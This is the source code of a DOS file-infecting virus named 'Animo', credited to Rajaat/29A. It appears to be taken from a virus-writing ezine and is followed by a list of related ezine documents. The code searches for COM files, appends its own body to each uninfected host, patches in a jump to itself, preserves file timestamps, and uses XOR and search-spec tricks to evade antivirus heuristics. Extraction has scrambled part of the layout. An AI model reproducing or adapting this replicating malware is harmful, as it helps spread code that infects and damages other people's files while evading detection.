byte nops[4] = { 0x90, 0x90, 0x90, 0x90 }; word main() { $ CALL get_delta get_delta: $ POP SI SI -= #get_delta; start_replication(); AX = 0x100 ^ 0x6510; AX ^= 0x6510;

// Fake host

// Virus entry point // // // // // // //

Get delta offset in SI

Call replicator Push entrypoint with some antiheuristics

$ PUSH AX; AX = 0;

// on the stack and // clear AX

} byte byte byte word byte

host_bytes[4] = { 0xCD, 0x20, 0, 0 }; // Host data searchspec = "*.ZOM"; // Searchspec jumpop = 0xE9; // Near jump nearjmp = 0; // The offset marker = '!'; // and infection marker

byte virus = "[Animo]"; byte author = "[Rajaat/29A]";

// Spliffbanger! // some personal stuff

start_replication() { $ PUSH SI // Preserve delta SI = #host_bytes[SI]; // Point to host bytes DI = #nops; // Absolute nops is at 0x100 $ CLD // Clear direction $ MOVSW // Move the 4 bytes we have save to the $ MOVSW // start of the host $ POP SI // Get delta back from stack setDTA(CS,#virus_end[SI]); // Set DTA to behind virus image searchspec[SI+2] = 'C'; // Antiheuristics again if (FINDFIRSTFILE(,,0,#searchspec[SI]) == 0) { do // We found a COM file { searchspec[SI+2] = 'Z'; // Again some antiheuristic action infect(#virus_end[SI+0x1e]); // And call the infection routine searchspec[SI+2] = 'C'; // And back to normal for COM searching FINDNEXTFILE(); // And find next function } while (AX == 0); // Hopefully } setDTA(CS,0x80); // Restore DTA } infect(word filename) // Infection procedure word handle; // Temporary file handle placement word bytes_read; // Amount of bytes read word myoffset; // My own offset (need multiple steps) word twobytes; long filesize; // And the filesize { handle = FOPEN(2,,,filename); // Open file with write access if (handle != 0) // If no error { FREAD( , handle, 4, #host_bytes[SI]); // Read 4 bytes if (host_bytes[SI+3] != '!') // Already infected { // No, we continue twobytes = host_bytes[0]; // get 1st word twobytes += host_bytes[1] << 8; // stupid way twobytes ^= 0x029A; // Final antiheuristics if (twobytes != 0x4d5a ^ 0x029A) // Check exe if (twobytes != 0x5a4d ^ 0x029A) // weird exe twobytes ^= 0x029A; // Decrypt again ;-) filesize = lseek(handle, long 0, SEEK_END); // Get filesize if (filesize > 0x100) // Not too small? if (filesize < 0xf000) // Not too big? { // Right size! nearjmp[SI] = filesize - 3; // Get relative EP AX = 0x5700; // Store file date and $ INT 0x21; // time on the

$ PUSH CX; $ PUSH DX; bytes_read = get_virus_size(); myoffset = #main + SI; FWRITE(, handle, bytes_read, myoffset); lseek(handle, long 0, SEEK_SET); FWRITE(, handle, 4, #jumpop[SI]); $ POP DX; $ POP CX; AX = 0x5701 ^ 0x8086; AX ^= 0x8086; $ INT 0x21; } } FCLOSE(,handle);

// // // // // // // // // // // //

stack for later retrieval virus size relative virus start write virus go start of file write jump Restore date and time of the file and put them back on it with some antiheuristics

// Close file (we're done)

} } word get_virus_size() { AX = #virus_end-#main; }

// Gets address of latest memory byte of // virus, effectively getting the virus // size

/*****( This is the end, my dear friend )*************************************/

Related Documents

Ezine 3
December 2019 31
April05 Ezine
November 2019 27
Mini Ezine Mac 2009
December 2019 40
Silat Melayu Ezine 4
June 2020 14
Silat Melayu Ezine 3
June 2020 10
Ezine - 29a-1
May 2020 22